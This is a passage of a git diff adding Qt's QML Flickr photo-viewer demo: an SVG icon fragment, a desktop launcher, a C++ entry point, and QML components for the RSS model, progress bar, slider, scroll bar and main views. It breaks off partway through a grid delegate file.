+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/flickr/flickr64.png b/demos/declarative/flickr/flickr64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/flickr/flickr64.png
Binary files differ
diff --git a/demos/declarative/flickr/flickr80.png b/demos/declarative/flickr/flickr80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/flickr/flickr80.png
Binary files differ
diff --git a/demos/declarative/flickr/flickr_harmattan.desktop b/demos/declarative/flickr/flickr_harmattan.desktop
new file mode 100644
index 00000000..19cf6264
--- /dev/null
+++ b/demos/declarative/flickr/flickr_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=flickr
+Exec=/usr/bin/single-instance /opt/flickr/bin/flickr
+Icon=/usr/share/icons/hicolor/80x80/apps/flickr80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/flickr/main.cpp b/demos/declarative/flickr/main.cpp
new file mode 100644
index 00000000..ab5ad2b9
--- /dev/null
+++ b/demos/declarative/flickr/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/flickr/flickr.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/flickr/qml/flickr/common/Progress.qml b/demos/declarative/flickr/qml/flickr/common/Progress.qml
new file mode 100644
index 00000000..385b9716
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/common/Progress.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ property variant progress: 0
+
+ Rectangle {
+ anchors.fill: parent; smooth: true
+ border.color: "white"; border.width: 0; radius: height/2 - 2
+ gradient: Gradient {
+ GradientStop { position: 0; color: "#66343434" }
+ GradientStop { position: 1.0; color: "#66000000" }
+ }
+ }
+
+ Rectangle {
+ y: 2; height: parent.height-4;
+ x: 2; width: Math.max(parent.width * progress - 4, 0);
+ opacity: width < 1 ? 0 : 1; smooth: true
+ gradient: Gradient {
+ GradientStop { position: 0; color: "lightsteelblue" }
+ GradientStop { position: 1.0; color: "steelblue" }
+ }
+ radius: height/2 - 2
+ }
+
+ Text {
+ text: Math.round(progress * 100) + "%"
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ color: "white"; font.bold: true; font.pixelSize: 15
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/common/RssModel.qml b/demos/declarative/flickr/qml/flickr/common/RssModel.qml
new file mode 100644
index 00000000..5d9a45c6
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/common/RssModel.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+XmlListModel {
+ property string tags : ""
+
+ function commasep(x)
+ {
+ return x.replace(' ',',');
+ }
+
+ source: "http://api.flickr.com/services/feeds/photos_public.gne?"+(tags ? "tags="+commasep(tags)+"&" : "")+"format=rss2"
+ query: "/rss/channel/item"
+ namespaceDeclarations: "declare namespace media=\"http://search.yahoo.com/mrss/\";"
+
+ XmlRole { name: "title"; query: "title/string()" }
+ XmlRole { name: "imagePath"; query: "media:thumbnail/@url/string()" }
+ XmlRole { name: "url"; query: "media:content/@url/string()" }
+ XmlRole { name: "description"; query: "description/string()" }
+ XmlRole { name: "tags"; query: "media:category/string()" }
+ XmlRole { name: "photoWidth"; query: "media:content/@width/string()" }
+ XmlRole { name: "photoHeight"; query: "media:content/@height/string()" }
+ XmlRole { name: "photoType"; query: "media:content/@type/string()" }
+ XmlRole { name: "photoAuthor"; query: "author/string()" }
+ XmlRole { name: "photoDate"; query: "pubDate/string()" }
+}
diff --git a/demos/declarative/flickr/qml/flickr/common/ScrollBar.qml b/demos/declarative/flickr/qml/flickr/common/ScrollBar.qml
new file mode 100644
index 00000000..28d97541
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/common/ScrollBar.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property variant flickableArea
+
+ Rectangle {
+ radius: 5
+ color: "black"
+ opacity: 0.3
+ border.color: "white"
+ border.width: 2
+ x: 0
+ y: flickableArea.visibleArea.yPosition * container.height
+ width: parent.width
+ height: flickableArea.visibleArea.heightRatio * container.height
+ }
+ states: [
+ State {
+ name: "show"
+ when: flickableArea.movingVertically
+ PropertyChanges {
+ target: container
+ opacity: 1
+ }
+ }
+ ]
+ transitions: [
+ Transition {
+ from: "*"
+ to: "*"
+ NumberAnimation {
+ target: container
+ properties: "opacity"
+ duration: 400
+ }
+ }
+ ]
+}
diff --git a/demos/declarative/flickr/qml/flickr/common/Slider.qml b/demos/declarative/flickr/qml/flickr/common/Slider.qml
new file mode 100644
index 00000000..c2d69bf3
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/common/Slider.qml
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: slider; width: 400; height: 16
+
+ // value is read/write.
+ property real value: 1
+ onValueChanged: updatePos();
+ property real maximum: 1
+ property real minimum: 1
+ property int xMax: width - handle.width - 4
+ onXMaxChanged: updatePos();
+ onMinimumChanged: updatePos();
+
+ function updatePos() {
+ if (maximum > minimum) {
+ var pos = 2 + (value - minimum) * slider.xMax / (maximum - minimum);
+ pos = Math.min(pos, width - handle.width - 2);
+ pos = Math.max(pos, 2);
+ handle.x = pos;
+ } else {
+ handle.x = 2;
+ }
+ }
+
+ Rectangle {
+ anchors.fill: parent
+ border.color: "white"; border.width: 0; radius: 8
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#66343434" }
+ GradientStop { position: 1.0; color: "#66000000" }
+ }
+ }
+
+ Rectangle {
+ id: handle; smooth: true
+ y: 2; width: 30; height: slider.height-4; radius: 6
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "lightgray" }
+ GradientStop { position: 1.0; color: "gray" }
+ }
+
+ MouseArea {
+ id: mouse
+ anchors.fill: parent; drag.target: parent
+ drag.axis: Drag.XAxis; drag.minimumX: 2; drag.maximumX: slider.xMax+2
+ onPositionChanged: { value = (maximum - minimum) * (handle.x-2) / slider.xMax + minimum; }
+ }
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/common/qmldir b/demos/declarative/flickr/qml/flickr/common/qmldir
new file mode 100644
index 00000000..adc2479b
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/common/qmldir
@@ -0,0 +1,10 @@
+ImageDetails ImageDetails.qml
+LikeOMeter LikeOMeter.qml
+Loading Loading.qml
+MediaButton MediaButton.qml
+MediaLineEdit MediaLineEdit.qml
+Progress Progress.qml
+RssModel RssModel.qml
+ScrollBar ScrollBar.qml
+Slider Slider.qml
+Star Star.qml
diff --git a/demos/declarative/flickr/qml/flickr/flickr-90.qml b/demos/declarative/flickr/qml/flickr/flickr-90.qml
new file mode 100644
index 00000000..14d786cf
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/flickr-90.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 480; height: 320
+
+ Loader {
+ y: 320; rotation: -90
+ transformOrigin: Item.TopLeft
+ source: "flickr.qml"
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/flickr.qml b/demos/declarative/flickr/qml/flickr/flickr.qml
new file mode 100644
index 00000000..0cf92d3d
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/flickr.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "common" as Common
+import "mobile" as Mobile
+
+Item {
+ id: screen; width: 320; height: 480
+ property bool inListView : false
+
+ Rectangle {
+ id: background
+ anchors.fill: parent; color: "#343434";
+
+ Image { source: "mobile/images/stripes.png"; fillMode: Image.Tile; anchors.fill: parent; opacity: 0.3 }
+
+ Common.RssModel { id: rssModel }
+
+ Item {
+ id: views
+ width: parent.width
+ anchors.top: titleBar.bottom; anchors.bottom: toolBar.top
+
+ GridView {
+ id: photoGridView; model: rssModel; delegate: Mobile.GridDelegate {}
+ cacheBuffer: 1000
+ cellWidth: (parent.width-2)/4; cellHeight: cellWidth; width: parent.width; height: parent.height
+ }
+
+ ListView {
+ id: photoListView; model: rssModel; delegate: Mobile.ListDelegate { }
+ width: parent.width; height: parent.height; x: -(parent.width * 1.5); cacheBuffer: 100;
+ }
+
+ states: State {
+ name: "ListView"; when: screen.inListView == true
+ PropertyChanges { target: photoListView; x: 0 }
+ PropertyChanges { target: photoGridView; x: -(parent.width * 1.5) }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 500; easing.type: Easing.InOutQuad }
+ }
+
+ Mobile.ImageDetails { id: imageDetails; width: parent.width; anchors.left: views.right; height: parent.height }
+
+ Item { id: foreground; anchors.fill: parent }
+ }
+
+ Mobile.TitleBar { id: titleBar; width: parent.width; height: 40; opacity: 0.9 }
+
+ Mobile.ToolBar {
+ id: toolBar
+ height: 40; anchors.bottom: parent.bottom; width: parent.width; opacity: 0.9
+ button1Label: "Update"; button2Label: "View mode"
+ onButton1Clicked: rssModel.reload()
+ onButton2Clicked: if (screen.inListView == true) screen.inListView = false; else screen.inListView = true
+ }
+
+ Connections {
+ target: imageDetails
+ onClosed: {
+ if (background.state == "DetailedView") {
+ background.state = '';
+ imageDetails.photoUrl = "";
+ }
+ }
+ }
+
+ states: State {
+ name: "DetailedView"
+ PropertyChanges { target: views; x: -parent.width }
+ PropertyChanges { target: toolBar; button1Label: "View..." }
+ PropertyChanges {
+ target: toolBar
+ onButton1Clicked: if (imageDetails.state=='') imageDetails.state='Back'; else imageDetails.state=''
+ }
+ PropertyChanges { target: toolBar; button2Label: "Back" }
+ PropertyChanges { target: toolBar; onButton2Clicked: imageDetails.closed() }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 500; easing.type: Easing.InOutQuad }
+ }
+ }
+}
diff --git a/demos/declarative/flickr/qml/flickr/mobile/Button.qml b/demos/declarative/flickr/qml/flickr/mobile/Button.qml
new file mode 100644
index 00000000..e2031823
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/Button.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ signal clicked
+
+ property string text
+
+ BorderImage {
+ id: buttonImage
+ source: "images/toolbutton.sci"
+ width: container.width; height: container.height
+ }
+ BorderImage {
+ id: pressed
+ opacity: 0
+ source: "images/toolbutton.sci"
+ width: container.width; height: container.height
+ }
+ MouseArea {
+ id: mouseRegion
+ anchors.fill: buttonImage
+ onClicked: { container.clicked(); }
+ }
+ Text {
+ color: "white"
+ anchors.centerIn: buttonImage; font.bold: true; font.pixelSize: 15
+ text: container.text; style: Text.Raised; styleColor: "black"
+ }
+ states: [
+ State {
+ name: "Pressed"
+ when: mouseRegion.pressed == true
+ PropertyChanges { target: pressed; opacity: 1 }
+ }
+ ]
+}
diff --git a/demos/declarative/flickr/qml/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/qml/flickr/mobile/GridDelegate.qml
new file mode 100644
index 00000000..cd0d51d5
--- /dev/null
+++ b/demos/declarative/flickr/qml/flickr/mobile/GridDelegate.qml
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: wrapper; width: GridView.view.cellWidth; height: GridView.view.cellHeight
+
+ function photoClicked() {
+ imageDetails.photoTitle = title;
+ imageDetails.photoTags = tags;
+ imageDetails.photoWidth = photoWidth;
+ imageDetails.photoHeight = photoHeight;
+ imageDetails.photoType = photoType;
+ imageDetails.photoAuthor = photoAuthor;
+ imageDetails.photoDate = photoDate;
+ imageDetails.photoUrl = url;
+ imageDetails.rating = 0;
+ scaleMe.state = "Details";
+ }
+
+ Item {
+ anchors.centerIn: parent
+ scale: 0.0
+ Behavior on scale { NumberAnimation { easing.type: Easing.InOutQuad} }
+ id: scaleMe
+
+ Item {
